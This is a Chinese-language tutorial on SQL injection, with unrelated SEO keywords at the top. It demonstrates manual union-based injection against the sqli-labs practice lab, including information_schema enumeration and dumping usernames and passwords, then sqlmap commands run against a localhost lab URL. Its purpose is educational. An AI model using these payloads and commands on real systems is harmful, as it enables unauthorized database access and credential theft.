做网站找外包好吗,公司网站是不是每天要更新,国家企业信用公示官方,建设网站等于网络营销吗目录
注入攻击
SQL注入
手工注入
Information_schema数据库
自动注入
介绍一下这款工具#xff1a;sqlmap
半自动注入 前面给大家通过学习练习的方式将XSS攻击的几种形式和一些简单的靶场和例题的演示#xff0c;从本篇开始我将和小伙伴们通过边复习、边练习的方式来进…目录
注入攻击
SQL注入
手工注入
Information_schema数据库
自动注入
介绍一下这款工具sqlmap
半自动注入 前面给大家通过学习练习的方式将XSS攻击的几种形式和一些简单的靶场和例题的演示从本篇开始我将和小伙伴们通过边复习、边练习的方式来进行SQL注入的学习本篇是SQL注入的第一篇主要是对SQL注入的一些简单的介绍和大致的注入流程的演示那么下面我们开始ヾ(◍°∇°◍)
后面会用到sqli-labs靶场这里附上下载链接如果还没有该靶场的小伙伴可以下载一下
sqli-labs: sql注入练习靶场123456 (gitee.com)
注入攻击
首先来介绍一下什么事SQL注入
注入攻击的本质是把用户输入的数据当做代码执行或者生成其他语义的内容前面的XSS本质上也是一种针对HTML的注入攻击。
因此可以总结一下注入攻击有两个关键条件
用户能够控制输入原本要执行的代码拼接了用户输入的数据
SQL注入
SQL注入第一次出现是在1998年的著名黑客杂志phrack上。在文章中名为rfp的黑客第一次向公众介绍了SQL注入的攻击技巧
那么可以举一个SQL注入的例子
如果后端的代码是这样的
?php
$username $_POST[username];
$password $_POST[password];
$sql SELECT * FROM User where username $username and password $password;;
? 可以看到这里的后端代码是使用post方式拿到username和password然后直接在数据库中进行查询并没有对输入的内容进行任何过滤
代码期待用户的输入后的数据库查询是这样的
select * from user where username admin and password 123;
这里如果恶意用户输入的用户名是这样的
admin--
则数据库查询就变成了这样
select * from user where username admin-- and password 123;
这时就将and 以后的查询都注释掉了此时就实现了无密码登录
手工注入
现在我来演示一下使用手动的方式进行SQL注入的流程
演示场景sqli-labs
进入靶场后然后点击第一关这里使用第一关来演示一下 1根据提示可以看到这里告诉我们可以输入id作为参数和值
因此我们可以尝试查询一下id1的结果
可以看到这里查询出了id1的用户的登录名和密码
那么根据上面的内容现在就可以尝试进行SQL注入攻击试着传入id1 --来逃出sql语句的查询语句 可以看到这里还是和id1的结果是一样的
现在可以尝试一下使用联合查询union的方式来在闭合查询语句后另外查询一些别的信息
小技巧这里可以通过不断变换select 1,2,3... 不断增加列数来查找该表中一共有多少列 从上面的分别查3,4的网页的不同可以确定该表中一共有3列
然后我们可以在1/2/3中查询一下那个是username 和password可以显示在页面中的 但是这里我们查询的结果还是不对它一致不变的显示id1的结果。
这是因为联合查询时id1始终为真所以就只会显示id1时的值想要让我们后面的语句执行就必须要让前面的id值为假可以使用一下两种方式 让id的值为负值 让id的值为一个不存在的值 2根据结果可以看到username是第2列password是第3列因此我们可以来利用这两个位置来显示一些关于该数据库中额敏感的信息
查看用户名 查看数据库名 查看版本 利用这里当然还可以查到其他信息最重要的还是这三个现在数据库名称已经知道了我们就要开始手动的获取数据库中其他敏感数据信息了
这里可以分析一下查询语句中需要的元素
知道了数据库我们可以使用数据库
查询数据库中的内容需要知道 表名 列名 才能查到具体的信息
但是这里是无法使用上面的方式直接在select 1,2,3里面的查询因为没有那样的函数
这里就要介绍一个Mysql自带的数据库
Information_schema数据库
Information_schema是MySQL中的一个系统数据库它存储了MySQL的元数据信息包括数据库、表、列等的信息。
在进行SQL注入攻击时攻击者可以利用Information_schema来获取敏感信息如数据库名、表名、列名等。
3我们可以利用information_schema数据库中的 table_name来查找我们已经查找的数据库中所有的表
select table_name from information_schema.tables
//这条语句可以查到 information_schema.tables 中的 table_name ,即该数据中的的所有表名 但是这里的表名并不是我们需要查询的security这个数据库中的所以我们需要在查询语句后面增加条件筛选
select table_name from information_schema.tables where table_schemasecurity
//这里我们将筛选的条件修改为table_schemasecurity 表示我们需要查找的是数据库名为security中的所有的表现在就可以在sql-labs靶场中实验一下
id-1union select 1,(select group_concat(table_name) from information_schema.tables where table_schema security),3--这里使用的group_concat()函数就是将多个查询结果拼接到一个字符串中如果不加该还是就会因为查询的结果太多而报错
4那么现在已经知道数据库名和表名了现在就需要知道表中有那么具体的字段这里就用users表为例来演示一下
这里我们还是利用information_schema数据库使用同样的方法因为在information_schema数据库中的columns表中存放着所有的数据库中的所有的表中的所有字段名因此可以通过已知到数据库名表名来查询该表中的所有的字段名
id-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema security and table_nameusersss),3 -- 可以看到这里成功的通过information_schema的conlumn表中table_schema字段也就是数据库名为security字段table_name也就是表名为users的所有字段的名称了
5现在知道了数据库名、表名、字段名那么就可以为所欲为的查询数据库中的所有数据了
比如查询所有的用户名和密码
?id-1 union select 1,(select group_concat(id,0x3a,username,0x3a,password) from users),3 -- 到此手动注入的流程已经演示完成了
自动注入
自动注入就是使用工具了有很多工具都可以进行自动sql注入
这里我演示使用的是sqlmapkail中默认就有没有的可以自行下载windows、Linux版本的都有的我这里就使用windows中演示一下吧
介绍一下这款工具sqlmap
SQLmap是一个开源的渗透测试工具可以进行自动化检测利用SQL注入漏洞获取数据库服务器的权限它具有强大的检测引擎针对各种不同类型数据库的渗透测试的功能选项包括获取数据库中存储的数据访问操作系统文件甚至通过外带数据连接的方式执行操作系统的命令
常用的参数
- **-u指定URL**
- **--dbs(末尾)查看数据库**
- **-D指定数据库名 -tables(末尾)查看表**
- **-D指定数据库名 -T(指定表名) --column查看列**
- **-D指定数据库名 -T(指定表名) -C指定列--dump查看指定列中的值**
- **-r 查看文本的请求中是否存在注入**
- -p 指定SQL注入点
- --level 1~5检测级别
- --risk风险等级
- --batch 非交互式模式
- –dbs 所有数据库
- –current-db 网站当前数据库
- **–users 所有数据库用户**
- –current-user 当前数据库用户
- –random-agent 构造随机user-agent
- **–passwords 数据库密码**
- –proxy http://local:8080 设置代理
- –time-secTIMESEC DBMS响应的延迟时间默认为5秒
下载完成后使用cmd移动到文件夹下然后可以直接使用下面命令来进行自动sql注入
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id1 可以看到这里也是成功的写出了几个payload而且分别有unio查询布尔注入报错注入时间盲注四种方式可以看到自动注入的效率和效果是非常好的
半自动注入
这里的半自动注入还是使用sqlmap但是不是直接使用url来让sqlmap自动注入而是我们一步一步来使用sqlmao来注入出数据库名。表名。和列名最后注入出数据
1注出数据库名
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id1 --dbs 2注出表名
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id1 -D security --tables 3注出字段名
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id1 -D security -T users --column 4注出数据
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id1 -D security -T users -C username --dump 到此SQL注入的基础知识和手工注入自动注入半自动注入就演示完毕了后面会和小伙伴们继续分享更多的SQL注入的技巧和靶场练习(^▽^)